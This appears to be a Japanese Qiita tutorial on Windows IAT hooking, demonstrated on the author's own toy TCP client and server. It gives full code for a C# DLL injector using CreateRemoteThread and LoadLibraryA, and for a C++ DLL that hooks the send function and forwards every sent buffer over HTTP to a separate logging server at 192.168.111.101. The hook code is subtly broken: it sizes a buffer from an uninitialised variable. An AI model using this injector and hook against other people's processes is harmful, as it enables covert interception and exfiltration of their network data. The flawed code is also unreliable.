3
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

IATフックを用いてサーバーへデータを送信しログする簡易機能を追加する(Windows)

3
Posted at

懐かしのWin32APIとインポートアドレステーブル(IAT)フックを用いて、簡易TCPプログラム(Windows C++ 32BIT)に通信内容をサーバーに送信しログする機能を追加する。

インポートアドレステーブル(IAT)

インポートアドレステーブル(IAT)とはDLLからインポートしている関数のアドレスが列挙されているテーブル。

Windowsで実行できるexeファイルのファーマットにはPEフォーマットという形式があり、
ロード時にメモリ上にヘッダ情報も展開され、このヘッダ情報からたどっていくことでIATを参照できる。

特定のプロセスのIATにあるターゲット関数Aのアドレスを独自の関数A_hookで書き換えることで、そのプロセスがAをコールしたときにA_hookのほうへ誘導できる。
A_hook内で元のAを呼ぶことで+αの機能追加としても利用できる。

今回はWS2_32.dllからインポートされる、通信機能を持つWin32APIの一つであるsendをフックし、別のサーバーに通信内容を転送する追加機能を持つ関数で置き換える。

DLLインジェクション

特定のプロセスのIATを書き換え別の関数A_hookへ誘導するには、そのプロセスのメモリ上にあるIATの書き換えに加え、誘導先の関数A_hookの実態がそのプロセスのメモリ上になけれならない。

この方法として、対象プロセス内に独自処理が含まれたDLLを読み込ませるDLLインジェクションという手法がある。
Win32APIを使用するDLLインジェクションの大まかな流れとしては

  1. VirtualAllocExで対象プロセスにインジェクトするDLLパスの文字列を書き込むためのメモリを確保
  2. WriteProcessMemoryでDLLパスを確保した対象プロセスのメモリに書き込み
  3. GetProcAddressでLoadAlibraryAのアドレスを取得
  4. CreateRemoteThreadで、書き込んだDLLパスアドレスを引数としてLoadLibraryAを対象プロセス内で実行

1. DLLインジェクションプログラム

DLLを対象プロセスにインジェクトするプログラムを作成する。
GUIベースで簡単に作るため、.net framework C#のフォームアプリケーションとして作成する。

  • 完成形

image.png

以下のように記述することで、C#からWin32APIを直接使用できる。

[DllImport("Kernel32.dll")]
extern static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;

namespace DLLInjector3
{
    public partial class Form1 : Form
    {

        private string targetProcessName;
        private System.Diagnostics.Process[] targetProcesses;
        private IntPtr targetProcessHandle, kernel32Handle, dllpathRemoteAddr, loadLibraryAddr;

        public Form1()
        {
            InitializeComponent();
            listBox1.Items.Clear();
            updateProcessList();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        // 「インジェクトするDLL」ボタンクリック時の処理
        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.Filter = "DLLファイル(*.dll)|*.dll";
            // ファイル選択ダイアログ表示
            if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                textBox1.Text = openFileDialog1.FileName;
            }
        }

        // 「インジェクト」ボタンクリック時の処理
        private void button2_Click(object sender, EventArgs e)
        {
            if (listBox1.SelectedIndex < 0)
            {
                MessageBox.Show("プロセスを選択してください");
                return;
            }
            if (textBox1.Text == "")
            {
                MessageBox.Show("インジェクトするDLLを選択してください");
                return;
            }
            targetProcessName = listBox1.SelectedItem.ToString();
            targetProcesses = System.Diagnostics.Process.GetProcessesByName(targetProcessName);

            MessageBox.Show("targetProcessName = " + targetProcessName);


            MessageBox.Show("PID = " + targetProcesses[0].Id.ToString());
            targetProcessHandle = OpenProcess(DesiredAccess.PROCESS_ALL_ACCESS/*DesiredAccess.PROCESS_CREATE_THREAD | DesiredAccess.PROCESS_QUERY_INFORMATION | DesiredAccess.PROCESS_VM_OPERATION | DesiredAccess.PROCESS_VM_WRITE*/, false, (uint)targetProcesses[0].Id);
            if (targetProcessHandle == (IntPtr)null)
            {
                MessageBox.Show("OpenProcess() failed");
                return;
            }

            MessageBox.Show("targetProcessHandle = " + targetProcessHandle.ToString());

            String dllpath = textBox1.Text;
            uint dllpathLength = (uint)Encoding.GetEncoding("UTF-8").GetByteCount(dllpath);
            dllpathRemoteAddr = VirtualAllocEx(targetProcessHandle, (IntPtr)null, dllpathLength + 1, AllocationType.MEM_COMMIT, MemoryProtection.PAGE_EXECUTE_READWRITE);
            if (dllpathRemoteAddr == (IntPtr)null)
            {
                MessageBox.Show("VirtualAllocEx() failed()");
                CloseHandle(targetProcessHandle);
                return;
            }
            MessageBox.Show("remoteDllpathAddr = " + dllpathRemoteAddr.ToString());

            WriteProcessMemory(targetProcessHandle, dllpathRemoteAddr, dllpath, dllpathLength + 1, (IntPtr)null);

            kernel32Handle = LoadLibrary("kernel32.dll");
            loadLibraryAddr = GetProcAddress(kernel32Handle, "LoadLibraryA");
            if (loadLibraryAddr == (IntPtr)null)
            {
                MessageBox.Show("GetProcAddress() failed()");
                CloseHandle(targetProcessHandle);
                return;
            }
            MessageBox.Show("loadLibraryAddr = " + loadLibraryAddr.ToString());

            IntPtr retval;
            retval = CreateRemoteThread(targetProcessHandle, (IntPtr)null, 0, loadLibraryAddr, dllpathRemoteAddr, 0, (IntPtr)null);
            if (retval == (IntPtr)null)
            {
                MessageBox.Show("CreateRemoteThread() failed");
                VirtualFreeEx(targetProcessHandle, dllpathRemoteAddr, (uint)(dllpath.Length + 1), FreeType.MEM_RELEASE);
                CloseHandle(targetProcessHandle);
                return;
            }

            MessageBox.Show("CreateRemoteThread retval = " + retval.ToString());

            VirtualFreeEx(targetProcessHandle, dllpathRemoteAddr, (uint)(dllpath.Length + 1), FreeType.MEM_RELEASE);
            CloseHandle(targetProcessHandle);
        }

        // 「プロセス一覧更新」ボタンクリック時の処理
        private void button3_Click(object sender, EventArgs e)
        {
            updateProcessList();
        }

        // プロセス一覧をリストボックスに表示する。
        private void updateProcessList()
        {
            Process[] processes = Process.GetProcesses();
            listBox1.Items.Clear();
            foreach (Process ps in processes)
            {
                listBox1.Items.Add(ps.ProcessName.ToString());
            }
        }

        [Flags]
        enum AllocationType
        {
            MEM_COMMIT = 0x1000,
            MEM_RESERVE = 0x2000,
        }

        [Flags]
        enum MemoryProtection
        {
            PAGE_EXECUTE_READWRITE = 0x40,
        }

        [Flags]
        enum FreeType
        {
            MEM_RELEASE = 0x8000,
        }

        [Flags]
        enum DesiredAccess
        {
            PROCESS_ALL_ACCESS = 0x1fffff,
            PROCESS_QUERY_INFORMATION = 0x400,
            PROCESS_CREATE_THREAD = 0x2,
            PROCESS_VM_OPERATION = 0x8,
            PROCESS_VM_WRITE = 0x20,
        }

        // Win32APIをインポート
        [DllImport("Kernel32.dll")]
        extern static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("Kernel32.dll")]
        extern static bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, FreeType dwFreeType);

        [DllImport("Kernel32.dll")]
        extern static IntPtr OpenProcess(DesiredAccess dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("Kernel32.dll")]
        extern static bool CloseHandle(IntPtr handle);

        [DllImport("kernel32.dll")]
        extern static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, String lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        extern static IntPtr LoadLibrary(String lpFileName);

        [DllImport("kernel32.dll")]
        extern static IntPtr GetProcAddress(IntPtr hModule, String lpProcName);

        [DllImport("kernel32.dll")]
        extern static IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

2. インジェクトされるDLL

ターゲットプロセスにインジェクトされるDLLを作成する。
このDLLのやることは、DLLが対象プロセスにアタッチされた時に、ターゲットプロセスのIATからsendを探し、誘導先の独自関数hookSendProcのアドレスで書き換える。

IAT書き換えクラス

IATHooker.h
# include <windows.h>
# include <string>
# include <vector>
# include <iostream>
# include <iomanip>
# include <tchar.h>
# pragma comment(lib, "user32.lib")
using namespace std;
 
typedef int (__stdcall *OrgSend)(SOCKET, const char *, int, int);
typedef int (__stdcall *OrgRecv)(SOCKET, char *buf, int, int);
 
typedef struct {
    string    symbolName;
    BYTE*    address;
    BYTE*    addressInIAT;
    DWORD    ordinal;
} SYMBOLINFO, *PSYMBOLINFO;
 
typedef struct {
    string dllName;
    vector<SYMBOLINFO> symbolInfo;
} IMPORTDLLINFO, *PIMPORTDLLINFO;
 
class IATHooker {
 
private:
    vector<IMPORTDLLINFO> mImportDllInfo;
    BYTE* mBaseAddr;
    IMAGE_DOS_HEADER *mpImageDosHeader;
    IMAGE_NT_HEADERS *mpImageNtHeader;
    IMAGE_FILE_HEADER *mpImageFileHeader;
    IMAGE_OPTIONAL_HEADER *mpImageOptionalHeader;
    IMAGE_SECTION_HEADER *mpImageSectionHeader;
    IMAGE_DATA_DIRECTORY *mpImageDataDirectory;
    IMAGE_IMPORT_DESCRIPTOR *mpImageImportDescriptor;
 
public:
    IATHooker();
    virtual ~IATHooker();
    void analyzeIAT();
    DWORD hookBySymbol(string dllname, string symbol, DWORD hookProc);
    DWORD hookByOrdinal(string dllname, DWORD ordinal, DWORD hookProc);
    void showImportInfo();
    SYMBOLINFO* findSymbol(string dllname, string symbol);
    SYMBOLINFO* findOrdinal(string dllname, DWORD ordinal);
    bool rewriteIAT(DWORD addr, DWORD hookProc);
     
};
IATHooker.cpp
# include "IATHooker.h"
 
IATHooker::IATHooker()
{
    mBaseAddr = (BYTE *)GetModuleHandle(NULL);
    if (mBaseAddr == NULL)
    {
        MessageBox(NULL, "GetModuleHandle() failed", "", MB_OK);
        return;
    }
    mpImageDosHeader = (IMAGE_DOS_HEADER*)mBaseAddr;
    mpImageNtHeader = (IMAGE_NT_HEADERS*)(mBaseAddr + mpImageDosHeader->e_lfanew);
    mpImageFileHeader = (IMAGE_FILE_HEADER*)((BYTE*)mpImageNtHeader + sizeof(DWORD));
    mpImageOptionalHeader = (IMAGE_OPTIONAL_HEADER*)(mpImageFileHeader + 1);
    mpImageSectionHeader = (IMAGE_SECTION_HEADER*)(mpImageNtHeader + 1);
    mpImageDataDirectory = (IMAGE_DATA_DIRECTORY*)(mpImageOptionalHeader->DataDirectory);
    mpImageImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)(mBaseAddr + mpImageDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
     
    analyzeIAT();
     
}

IATHooker::~IATHooker()
{

}

void IATHooker::analyzeIAT()
{
    IMAGE_IMPORT_DESCRIPTOR *piid;
    IMAGE_THUNK_DATA *pIAT;
    IMAGE_THUNK_DATA *pINT;
    piid = mpImageImportDescriptor;
     
    while(piid->Name)
    {
         
        IMPORTDLLINFO dllinfo;
        SYMBOLINFO symbolinfo;
        dllinfo.dllName = (LPSTR)(mBaseAddr + piid->Name);
         
        pIAT = (IMAGE_THUNK_DATA*)(mBaseAddr + piid->FirstThunk);
        pINT = (IMAGE_THUNK_DATA*)(mBaseAddr + piid->OriginalFirstThunk);
         
        while (pINT->u1.Function)
        {
            symbolinfo.address = (BYTE*)(pIAT->u1.Function);
            symbolinfo.addressInIAT = (BYTE*)(&pIAT->u1.Function);
            if ( pINT->u1.AddressOfData & 0x80000000 )
            {
                symbolinfo.ordinal = (DWORD)(pINT->u1.AddressOfData ^ 0x80000000);
            }
            else
            {
                symbolinfo.symbolName = (LPSTR)(((IMAGE_IMPORT_BY_NAME*)(mBaseAddr + pINT->u1.AddressOfData))->Name);
            }
             
            dllinfo.symbolInfo.push_back(symbolinfo);
            pIAT++;
            pINT++;
        }
             
        mImportDllInfo.push_back(dllinfo);
        piid++;
    }
}
 
void IATHooker::showImportInfo()
{
    cout << hex << showbase << uppercase;
    cout << "BASEADDR : " << (DWORD)mBaseAddr << endl;
    for (int i = 0; i < mImportDllInfo.size(); i++)
    {
        cout << mImportDllInfo[i].dllName << endl;
         
        for (int j = 0; j < mImportDllInfo[i].symbolInfo.size(); j++)
        {
            cout << setw(10) << left << " " << setw(16) << left  << (DWORD)mImportDllInfo[i].symbolInfo[j].address << setw(16) << left  << (DWORD)mImportDllInfo[i].symbolInfo[j].addressInIAT << setw(30) << left << mImportDllInfo[i].symbolInfo[j].symbolName << endl;
        }
    }
}
 
SYMBOLINFO* IATHooker::findSymbol(string dllname, string symbol)
{
    for (int i = 0; i < mImportDllInfo.size(); i++)
    {    
        if( mImportDllInfo[i].dllName != dllname)
        {
            continue;
        }
        for (int j = 0; j < mImportDllInfo[i].symbolInfo.size(); j++)
        {
            MessageBox(NULL, mImportDllInfo[i].symbolInfo[j].symbolName.c_str(), "", MB_OK);
            if (mImportDllInfo[i].symbolInfo[j].symbolName == symbol)
            {
                return &mImportDllInfo[i].symbolInfo[j];
            }
        }
    }
    return NULL;
}
 
SYMBOLINFO* IATHooker::findOrdinal(string dllname, DWORD ordinal)
{
    for (int i = 0; i < mImportDllInfo.size(); i++)
    {    
        if( mImportDllInfo[i].dllName != dllname)
        {
            continue;
        }
        for (int j = 0; j < mImportDllInfo[i].symbolInfo.size(); j++)
        {
            if (mImportDllInfo[i].symbolInfo[j].ordinal == ordinal)
            {
                return &mImportDllInfo[i].symbolInfo[j];
            }
        }
    }
    return NULL;
}
 
DWORD IATHooker::hookBySymbol(string dllname, string symbol, DWORD hookProc)
{
    SYMBOLINFO *si;
    DWORD dwOrgProc;
     
    si = findSymbol(dllname, symbol);
    if(si == NULL)
    {
        MessageBox(NULL, "Symbol not found.", "", MB_OK);
        return 0;
    }
     
    dwOrgProc = (DWORD)si->address;
    if(!rewriteIAT((DWORD)si->addressInIAT, hookProc))
    {
        MessageBox(NULL, "IATHooker::rewriteIAT() failed", "", MB_OK);
        return 0;
    }
     
    return dwOrgProc;
}
 
DWORD IATHooker::hookByOrdinal(string dllname, DWORD ordinal, DWORD hookProc)
{
    SYMBOLINFO *si;
    DWORD dwOrgProc;
     
    si = findOrdinal(dllname, ordinal);
    if(si == NULL)
    {
        MessageBox(NULL, "Ordinal not found.", "", MB_OK);
        return 0;
    }
     
    dwOrgProc = (DWORD)si->address;
    if(!rewriteIAT((DWORD)si->addressInIAT, hookProc))
    {
        MessageBox(NULL, "IATHooker::rewriteIAT() failed", "", MB_OK);
        return 0;
    }
     
    return dwOrgProc;
}
 
bool IATHooker::rewriteIAT(DWORD addr, DWORD newProc)
{
    DWORD dwOldProtect;
     
    VirtualProtect((LPVOID)addr, 4, PAGE_READWRITE, &dwOldProtect);
    *((DWORD*)addr) = newProc;
    VirtualProtect((LPVOID)addr, 4, dwOldProtect, &dwOldProtect);
     
    return true;
}

IATHookerを使用してsendを書き換えるdll

SendRecvHooker.cpp
# include <windows.h>
# include <stdlib.h>
# include <string>
# include <winhttp.h>
# include "IATHooker.h"
# pragma comment(lib, "winhttp.lib")
 
OrgSend orgSend;
OrgRecv orgRecv;
 
int __stdcall hookSendProc(SOCKET s, const char *buf, int len, int flags)
{
    size_t size;
    wstring url;
    vector<WCHAR> wbuf(size);
    HINTERNET hSession, hConnect, hRequest;
    URL_COMPONENTS uc;
    WCHAR szHostName[256], szUrlPath[2048];
     
    while(true)
    {
        mbstowcs_s(&size, NULL, 0, buf, 0);
        mbstowcs_s(&size, wbuf.data(), wbuf.size(), buf, strlen(buf));
     
        url = L"http://192.168.111.101/log?";
        url += L"senddata=";
        url += wbuf.data();
     
        hSession = WinHttpOpen(L"SendRecvHook", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
        if (hSession == NULL)
        {
            MessageBox(NULL, "WinHttpOpen() failed", "", MB_OK);
            break;
        }
         
        ZeroMemory(&uc, sizeof(URL_COMPONENTS));
        uc.dwStructSize            = sizeof(URL_COMPONENTS);
        uc.lpszHostName            = szHostName;
        uc.dwHostNameLength        = sizeof(szHostName) / sizeof(WCHAR);
        uc.lpszUrlPath            = szUrlPath;
        uc.dwUrlPathLength        = sizeof(szUrlPath) / sizeof(WCHAR);
         
        if (!WinHttpCrackUrl(url.data(), url.size(), 0, &uc))
        {
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpCrackUrl() failed", "", MB_OK);
            break;
        }
         
        hConnect = WinHttpConnect(hSession, szHostName, 5000/*INTERNET_DEFAULT_PORT*/, 0);
        if (hConnect == NULL) 
        {
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpConnect() failed", "", MB_OK);
            break;
        }
         
        hRequest = WinHttpOpenRequest(hConnect, L"GET", szUrlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
        if (hRequest == NULL) 
        {
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpOpenRequest() failed", "", MB_OK);
            break;
        }
 
        if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
        {
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpSendRequest() failed", "", MB_OK);
            break;
        }
         
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        break;
    }
    MessageBox(NULL, buf, "Send is called", MB_OK);
     
    return (*orgSend)(s,buf,len,flags);
}
 
int __stdcall hookRecvProc(SOCKET s, char *buf, int len, int flags)
{
    MessageBox(NULL, buf, "Recv is called", MB_OK);
     
    return (*orgRecv)(s, buf, len, flags);
}
 
 
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID)
{
    IATHooker srh;
     
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, "DLL injected.", "", MB_OK);
        orgSend = (OrgSend)srh.hookByOrdinal("WS2_32.dll", 19, (DWORD)hookSendProc);
        //orgSend = (OrgSend)srh.hookBySymbol("WS2_32.dll", "send", (DWORD)hookSendProc);  // ※名前(symbol)の情報が入っていないので序数(ordinal)からしか取得できない。
        //orgRecv = (OrgRecv)srh.hookByOrdinal("WS2_32.dll", 16, (DWORD)hookRecvProc);
        break;
    }
     
    return TRUE;
}

関数名等シンボル情報はシンボルテーブルにあるが、関数名が含まれていない場合もあり、その場合は序数(ordinal)から探す。
序数は、コマンドプロンプトから以下コマンドで確認できる。(sendの場合は19)

>dumpbin /EXPORTS "C:\Windows\System32\WS2_32.dll" | findstr send
         19   BE 0000BA40 send
         20   BF 0000F0B0 sendto

3. ターゲットプロセス

https://www.katto.comm.waseda.ac.jp/~katto/Class/GazoTokuron/code/socket.html
あたりを参考に、機能追加する適当な簡易TCPサーバーとsendを使用したTCPクライアントターゲットプログラムを作成する。

TCPサーバー

TargetTcpServer.cpp
# include <stdio.h>
# include <winsock2.h>
# include <ws2tcpip.h>

# pragma comment(lib, "ws2_32.lib")

# define BUFFER_SIZE 256

int
main() {
  /* ポート番号、ソケット */
  unsigned short port = 9876;
  int srcSocket;  // 自分
  int dstSocket;  // 相手

  /* sockaddr_in 構造体 */
  struct sockaddr_in srcAddr;
  struct sockaddr_in dstAddr;
  int dstAddrSize = sizeof(dstAddr);

  /* 各種パラメータ */
  int numrcv;
  char buffer[BUFFER_SIZE];

  /************************************************************/
  /* Windows 独自の設定 */
  WSADATA data;
  WSAStartup(MAKEWORD(2,0), &data); 

  /* sockaddr_in 構造体のセット */
  memset(&srcAddr, 0, sizeof(srcAddr));
  srcAddr.sin_port = htons(port);
  srcAddr.sin_family = AF_INET;
  srcAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  /* ソケットの生成 */
  srcSocket = socket(AF_INET, SOCK_STREAM, 0);

  /* ソケットのバインド */
  bind(srcSocket, (struct sockaddr *) &srcAddr, sizeof(srcAddr));

  /* 接続の許可 */
  listen(srcSocket, 1);

  /* 接続の受付け */
  printf("Waiting for connection ...\n");
  dstSocket = accept(srcSocket, (struct sockaddr *) &dstAddr, &dstAddrSize);
  printf("Connected from %s\n", inet_ntoa(dstAddr.sin_addr));

  /* パケット受信 */
  while(1) {
    numrcv = recv(dstSocket, buffer, BUFFER_SIZE, 0); 
    if(numrcv == 0 || numrcv == -1) {
      //status = closesocket(dstSocket); break;
      closesocket(dstSocket); break;
    }
    printf("received: %s\n", buffer);
  }

  /* Windows 独自の設定 */
  WSACleanup();
}
# include <stdio.h>
# include <winsock2.h>
# include <ws2tcpip.h>

# pragma comment(lib, "ws2_32.lib")

int
main() {
  /* IP アドレス、ポート番号、ソケット */
  char destination[80];
  unsigned short port = 9876;
  int dstSocket;

  /* sockaddr_in 構造体 */
  struct sockaddr_in dstAddr;

  /* 各種パラメータ */
  int status;
  int numsnt;
  //char *toSendText = "test";
  char toSendText[256];

  /************************************************************/

  /* Windows 独自の設定 */
  WSADATA data;
  WSAStartup(MAKEWORD(2,0), &data);

  /* 相手先アドレスの入力 */
  printf("Connect to ? : (name or IP address) ");
  scanf("%s", destination);

  /* sockaddr_in 構造体のセット */
  memset(&dstAddr, 0, sizeof(dstAddr));
  dstAddr.sin_port = htons(port);
  dstAddr.sin_family = AF_INET;
  dstAddr.sin_addr.s_addr = inet_addr(destination);
 
  /* ソケット生成 */
  dstSocket = socket(AF_INET, SOCK_STREAM, 0);

  /* 接続 */
  printf("Trying to connect to %s: \n", destination);
  connect(dstSocket, (struct sockaddr *) &dstAddr, sizeof(dstAddr));

  /* パケット送出 */
  while (1) {
    printf("Input senddata >\n");
    if (fgets(toSendText, 256, stdin) == NULL) {
        break;
    }
    printf("sending...\n");
    send(dstSocket, toSendText, strlen(toSendText)+1, 0);
    //Sleep(1000);
    //getchar();
  }

  /* Windows 独自の設定 */
  closesocket(dstSocket);
  WSACleanup();
}

4. データを受け取りログするサーバーを立てる。

Webフレームワークのflaskを用いて、送られてきたデータをprintするだけの簡易サーバーをpythonでたてる。

$ pip install flask
logger_server.py
from flask import Flask, request, Response
app = Flask(__name__)

@app.route('/log')
def log():
    senddata = request.args.get('senddata')
    print('{} : {}'.format(request.remote_addr, senddata))
    res = Response()
    res.status_code = 200
    return res

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')
$ python logger_server.py

 5. 検証

  1. TCPサーバーとTCPクライアントを実行しお互いにconnectする。
>TargetTcpClient
Connect to ? : (name or IP address) 127.0.0.1
Trying to connect to 127.0.0.1:
Input senddata >
>TargetTcpServer
Waiting for connection ...
Connected from 127.0.0.1
  1. DLLインジェクションプログラムでSendRecvHooker.dllをTCPクライアントへインジェクトする。

image.png

image.png

  1. TCPクライアントから適当な文字列を送信してみる。
>TargetTcpClient
Connect to ? : (name or IP address) 127.0.0.1
Trying to connect to 127.0.0.1:
Input senddata >
sending...
Input senddata >
test1
sending...

ログサーバー

無題.png

差し替えた独自のhook_send_procが呼ばれログサーバーにも通信内容が転送されていることが確認できる。

3
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?